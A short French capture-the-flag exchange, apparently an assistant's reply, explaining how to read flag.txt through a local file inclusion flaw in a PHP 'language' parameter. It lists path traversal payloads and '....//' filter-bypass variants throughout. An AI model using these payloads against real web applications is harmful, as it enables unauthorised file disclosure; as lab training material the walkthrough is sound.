Trouver flag.txt ici lfi

Oui — le paramètre vulnérable est probablement language.

Essaie d’abord :

text
?language=languages/../../../../flag.txt

Exemple complet :

text
http://IP:PORT/index.php?language=languages/../../../../flag.txt

Si ça ne marche pas, comme c’est un exercice Basic Bypasses, le filtre supprime peut-être ../. Utilise alors le bypass ....// :

text
?language=languages/....//....//....//....//flag.txt

Tu peux ajouter plus de niveaux sans problème :

text
?language=languages/....//....//....//....//....//....//flag.txt

Autres variantes à tester :

text
?language=../../../../flag.txt
?language=....//....//....//....//flag.txt
?language=/flag.txt

Si le contenu ne s’affiche pas, regarde aussi le code source de la page avec Ctrl+U, parfois le flag est inclus mais caché dans le HTML.